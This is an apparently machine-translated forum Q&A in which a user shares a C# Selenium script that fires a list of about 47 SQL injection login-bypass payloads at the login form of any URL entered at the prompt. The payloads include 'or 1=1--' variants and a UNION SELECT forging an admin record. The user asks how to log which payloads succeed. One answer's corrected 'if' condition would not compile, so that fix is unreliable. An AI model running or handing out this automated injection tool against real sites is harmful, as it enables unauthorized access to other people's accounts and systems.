如何检查元素是否存在

How can I check if an element exists

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using OpenQA.Selenium;
using OpenQA.Selenium.Firefox;
namespace ConsoleApplication4
{
    class Program
    {
        static void Main(string[] args)
        {
            string[] logs = new string[10000];
            int log=0;
            string[] injections = new string[]{"admin' or 'a'='a",
"or 1=1",
"or 1=1--", 
"or 1=1#",
"or 1=1/*",
"admin' --",
"admin' #",
"admin'/*",
"admin' or '1'='1",
"admin' or '1'='1'--",
"admin' or '1'='1'#",
"admin' or '1'='1'/*",
"admin'or 1=1 or ''='",
"admin' or 1=1",
"admin' or 1=1--",
"admin' or 1=1#",
"admin' or 1=1/*",
"admin') or ('1'='1",
"admin') or ('1'='1'--",
"admin') or ('1'='1'#",
"admin') or ('1'='1'/*",
"admin') or '1'='1",
"admin') or '1'='1'--",
"admin') or '1'='1'#",
"admin') or '1'='1'/*",
"1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055",
"admin\" --",
"admin\" #",
"admin\"/*",
"admin\" or \"1\"=\"1",
"admin\" or \"1\"=\"1\"--",
"admin\" or \"1\"=\"1\"#",
"admin\" or \"1\"=\"1\"/*",
"admin\"or 1=1 or \"\"=\"",
"admin\" or 1=1",
"admin\" or 1=1--",
"admin\" or 1=1#",
"admin\" or 1=1/*",
"admin\") or (\"1\"=\"1",
"admin\") or (\"1\"=\"1\"--",
"admin\") or (\"1\"=\"1\"#",
"admin\") or (\"1\"=\"1\"/*",
"admin\") or \"1\"=\"1",
"admin\") or \"1\"=\"1\"--",
"admin\") or \"1\"=\"1\"#",
"admin\") or \"1\"=\"1\"/*",
"1234 \" AND 1=0 UNION ALL SELECT \"admin\", \"81dc9bdb52d04dc20036dbd8313ed055"};
            int counter=0;
            string url,usr,pass,text;
            System.Console.WriteLine("Enter the url to check sql injection");
            url= Console.ReadLine();
            System.Console.WriteLine("\nEnter the NAME of the usr");
            usr= Console.ReadLine();
            System.Console.WriteLine("\nEnter the NAME of the pass");
            pass= Console.ReadLine();
            System.Console.WriteLine("\nEnter the  text of link on page to know login");
            text = Console.ReadLine();
            IWebDriver Driver = new FirefoxDriver();
            while(counter<=47)
            {
            Driver.Navigate().GoToUrl(url);
            IWebElement y = Driver.FindElement(By.Name(usr));
            y.SendKeys(injections[counter]);

          IWebElement  z = Driver.FindElement(By.Name(pass));
               z.SendKeys(injections[counter]);
                z.Submit();

               if(Driver.FindElement(By.LinkText(text)));
               { 

                    logs[log]=usr;
                    log++;
            }

                counter++;
            }

        }
    }
}

如何在 if(Driver.FindElement(By.LinkText(text))); 上设置条件或在其他条件上设置条件,以便我知道用户已登录 我正在制作一个可以测试 SQL 注入登录的自动化脚本。或者请帮我设定一个条件,如果条件为真,它将注入的查询存储在数组中,这样我就可以知道哪些注入成功登录了。

尝试

if(Driver.FindElements(By.LinkText(text)).Count > 0)

或者捕获Driver.FindElement抛出的异常。

ISearchContext.FindElements

ISearchContext.FindElement

我在这里看到了一个语法错误。您将以 ; 结束该行。应该是

if(Driver.FindElement(By.LinkText(text)))
{
    logs[log]=usr;
    log++;
}

我假定 linkText 有效并返回正确的元素并且延迟不是问题。